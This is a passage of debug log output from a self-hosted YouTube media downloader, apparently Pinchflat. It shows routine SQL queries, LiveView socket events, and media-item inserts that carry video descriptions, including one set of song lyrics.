"cdf23d01-d322-4219-80ad-40d66761587c", false, "vmLT3BHtZYU", 321, false, "https://www.youtube.com/watch?v=vmLT3BHtZYU", 1, "/downloads/Nightcore/Nightcore/2018-10-09Glass Animals - The Other Side of Paradise (legendado)[vmLT3BHtZYU].m4a", false, false, 1, [], 1, ~U[2018-10-09 08:38:00Z], ~U[2026-07-24 02:20:55Z], ~U[2026-07-24 02:20:55Z], "• Tradução, edição e legenda por Insomnia\u00A0\n\n• Glass Animals\nSite: http://www.glassanimals.eu Live: http://www.glassanimals.eu/live/ Facebook: http://facebook.com/glassanimals Twitter: http://twitter.com/glassanimals Instagram: http://instagram.com/glassanimals\n\n• Vídeo oficial \nhttps://youtu.be/3WdAaAhhb6M\n\n• Imagem\nhttps://pinterest.com/pin/738731145103875321/?source_app=android\n\n• Para pedidos de músicas \nhttps://discordapp.com/invite/fdjCThM\n\n• Playlist Spotify\nhttps://open.spotify.com/user/21lgzmonblmc62wl245dq2qfi/playlist/7HI4pBaqaWiqnKPz7gZkn5?si=0t5DjygHShqXxaBBVjLiww&nd=1\n\n• Letra\n\nWhen I was young and stupid my love\nLeft to be a rock and roll star\nHe told me please don't worry\nWise little smile that spoke so safely\n\nHe booked a one way ticket\nOut west that's where they make it\nSix kids stuck in a bedsit\nTo sunswept poolside riches\n\nHe met a girl who wore Versace\nPink feather coats and jumbo jewellery\nGonna be a hoop phenomenon\nHe's gonna be Hakeem Olajuwan\n\nHe's got a gold Camaro\nHe said over the payphone\nI try to keep my cool but\nMy life turns in slow motion\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\nWhen I was from n.o.l.a no one\nLeft to be a rock and roll star\nHe'd stay and treat his lady\nGive everything to his new baby\n\nI miss him don't you blame me\nThat boy went stone cold crazy\nCaught up in camera lust he's\nChasing that pappy pipe dreams\n\nI know you don't but I\nI know you don't but I still try\nMy thunder shook him down\nMy thunder came and shook him down\nThat girl is gone but I\nThat girl is gone but I still try\nI think it's over now\nThe bullet hit but maybe not\nI feel so fucking numb\nIt hits my head and I feel numb\nMy body's looking wrong\nMy body's looking wrong\nMy body's looking wrong\n\nBye bye baby blue\nI wish you could see the wicked truth\nCaught up in a rush it's killing you\nScreaming at the sun you blow into\nCurled up in a grip when we were us\nFingers in a fist like you might run\nI settle for a ghost I never knew\nSuperparadise I held on to\nBut I settle for a ghost\n\n• Insomnia", "Glass Animals - The Other Side of Paradise (legendado)", "vmLT3BHtZYU", 321, false, "https://www.youtube.com/watch?v=vmLT3BHtZYU", "/downloads/Nightcore/Nightcore/2018-10-09Glass Animals - The Other Side of Paradise (legendado)[vmLT3BHtZYU].m4a", false, 1, ~U[2018-10-09 08:38:00Z]] 22:20:55.720 [debug] QUERY OK source="sources" db=0.7ms idle=196.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:55.721 [debug] QUERY OK source="media_profiles" db=0.6ms queue=0.1ms idle=196.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:55.722 [debug] QUERY OK source="media_items" db=0.8ms idle=197.5ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [1] 22:20:55.723 [debug] Current batch of media processed. Will check again in 1000ms 22:20:55.754 [debug] QUERY OK source="settings" db=230.0ms queue=0.2ms idle=2.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:55.755 [debug] QUERY OK source="settings" db=0.3ms idle=36.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 22:20:55.820 [debug] QUERY OK source="sources" db=0.8ms idle=99.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:55.822 [debug] QUERY OK source="media_items" db=1.1ms idle=99.5ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:20:55.824 [debug] QUERY OK source="media_items" db=1.6ms idle=99.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:20:55.825 [debug] QUERY OK source="sources" db=0.4ms idle=71.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:55.826 [debug] QUERY OK source="media_items" db=0.2ms idle=70.8ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 22:20:55.827 [debug] QUERY OK source="media_items" db=0.8ms idle=6.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:20:55.830 [debug] QUERY OK source="sources" db=0.5ms idle=7.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:55.918 [debug] QUERY OK source="media_items" db=86.8ms idle=6.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 22:20:55.919 [debug] QUERY OK source="media_items" db=0.6ms idle=92.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:20:55.920 [info] Sent 200 in 500ms 22:20:56.114 [info] CONNECTED TO Phoenix.LiveView.Socket in 25µs Transport: :websocket Serializer: Phoenix.Socket.V2.JSONSerializer Parameters: %{"_csrf_token" => "WSdBQxwkJTcOE1giFipSPAcecxQ2BGR30JrtulLveulrtgcjWtGgep34", "_live_referer" => "undefined", "_mount_attempts" => "0", "_mounts" => "0", "_track_static" => %{"0" => "https://pinchflat.tail3db17d.ts.net/assets/app-84c55c57753816656f5134f541d32ba5.css?vsn=d", "1" => "https://pinchflat.tail3db17d.ts.net/assets/app-521b5c83d8b2f79295a25943104e99d5.js?vsn=d"}, "vsn" => "2.0.0"} 22:20:56.128 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "pending", "source_id" => 1} 22:20:56.129 [debug] QUERY OK source="sources" db=0.2ms idle=302.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:56.129 [debug] QUERY OK source="media_items" db=0.2ms idle=301.6ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:20:56.129 [debug] QUERY OK source="media_items" db=0.3ms idle=299.0ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:20:56.129 [debug] Replied in 1ms 22:20:56.130 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "downloaded", "source_id" => 1} 22:20:56.130 [debug] QUERY OK source="sources" db=0.1ms idle=212.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:56.131 [debug] QUERY OK source="media_items" db=0.0ms idle=212.0ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 22:20:56.131 [debug] QUERY OK source="media_items" db=0.1ms idle=2.2ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:20:56.131 [debug] Replied in 831µs 22:20:56.132 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "other", "source_id" => 1} 22:20:56.132 [debug] QUERY OK source="sources" db=0.1ms idle=3.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:56.133 [debug] QUERY OK source="media_items" db=0.1ms idle=2.9ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 22:20:56.133 [debug] QUERY OK source="media_items" db=0.2ms idle=2.1ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:20:56.133 [debug] Replied in 1ms 22:20:56.525 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Hi to everyone!^^\nIt's been a while since when I made a GATE's AMV.\nI confess you I'm quite disappointed, because a bit of time ago rumors about a season II (or a movie) of Gate have started appearing in some forums, but at the end everything proved being just a fake.\nHowever, part of me is quite happy that we'll never see a Gate II, because especially after reading the novels I fully understood the kind of disaster they did to try sweetening some of the most dark and explicit contents; and considering that most of the said problematic moments happen right after the series, there were strong possibilities to see a totally distorted Gate II anime.\nWell, no matter.\nI tried many times to make an AMV with this song, and I think the final result is quite good, what do you think?\n\nSee you soon!^_^\n\nALL RIGHTS BELONG TO THE PROPER OWNERS", "duration" => 204, "filename" => "/downloads/Grift/Grift/2018-10-31GATE - AMV - Sabaton - Rorke's Drift[3aAqKIOUWYM].m4a", "id" => "3aAqKIOUWYM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=3aAqKIOUWYM", "playlist_index" => 15, "timestamp" => 1541006310, "title" => "GATE - AMV - Sabaton - Rorke's Drift", "upload_date" => "20181031"} 22:20:56.526 [debug] QUERY OK source="sources" db=0.5ms idle=394.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [4] 22:20:56.527 [debug] QUERY OK source="sources" db=0.4ms idle=393.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:56.528 [debug] QUERY OK source="media_items" db=0.5ms queue=0.1ms idle=394.3ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2018-10-31 17:18:30Z], 4] 22:20:56.716 [debug] QUERY OK source="media_items" db=187.7ms idle=395.1ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Hi to everyone!^^\nIt's been a while since when I made a GATE's AMV.\nI confess you I'm quite disappointed, because a bit of time ago rumors about a season II (or a movie) of Gate have started appearing in some forums, but at the end everything proved being just a fake.\nHowever, part of me is quite happy that we'll never see a Gate II, because especially after reading the novels I fully understood the kind of disaster they did to try sweetening some of the most dark and explicit contents; and considering that most of the said problematic moments happen right after the series, there were strong possibilities to see a totally distorted Gate II anime.\nWell, no matter.\nI tried many times to make an AMV with this song, and I think the final result is quite good, what do you think?\n\nSee you soon!^_^\n\nALL RIGHTS BELONG TO THE PROPER OWNERS", "GATE - AMV - Sabaton - Rorke's Drift", "2ac2283e-e757-4be7-b67a-dc03b9e3fcbe", false, "3aAqKIOUWYM", 204, false, "https://www.youtube.com/watch?v=3aAqKIOUWYM", 15, "/downloads/Grift/Grift/2018-10-31GATE - AMV - Sabaton - Rorke's Drift[3aAqKIOUWYM].m4a", false, false, 4, [], 1, ~U[2018-10-31 17:18:30Z], ~U[2026-07-24 02:20:56Z], ~U[2026-07-24 02:20:56Z], "Hi to everyone!^^\nIt's been a while since when I made a GATE's AMV.\nI confess you I'm quite disappointed, because a bit of time ago rumors about a season II (or a movie) of Gate have started appearing in some forums, but at the end everything proved being just a fake.\nHowever, part of me is quite happy that we'll never see a Gate II, because especially after reading the novels I fully understood the kind of disaster they did to try sweetening some of the most dark and explicit contents; and considering that most of the said problematic moments happen right after the series, there were strong possibilities to see a totally distorted Gate II anime.\nWell, no matter.\nI tried many times to make an AMV with this song, and I think the final result is quite good, what do you think?\n\nSee you soon!^_^\n\nALL RIGHTS BELONG TO THE PROPER OWNERS", "GATE - AMV - Sabaton - Rorke's Drift", "3aAqKIOUWYM", 204, false, "https://www.youtube.com/watch?v=3aAqKIOUWYM", "/downloads/Grift/Grift/2018-10-31GATE - AMV - Sabaton - Rorke's Drift[3aAqKIOUWYM].m4a", false, 4, ~U[2018-10-31 17:18:30Z]] 22:20:56.716 [debug] QUERY OK source="sources" db=0.2ms idle=361.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 22:20:56.717 [debug] QUERY OK source="media_profiles" db=0.1ms idle=190.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", 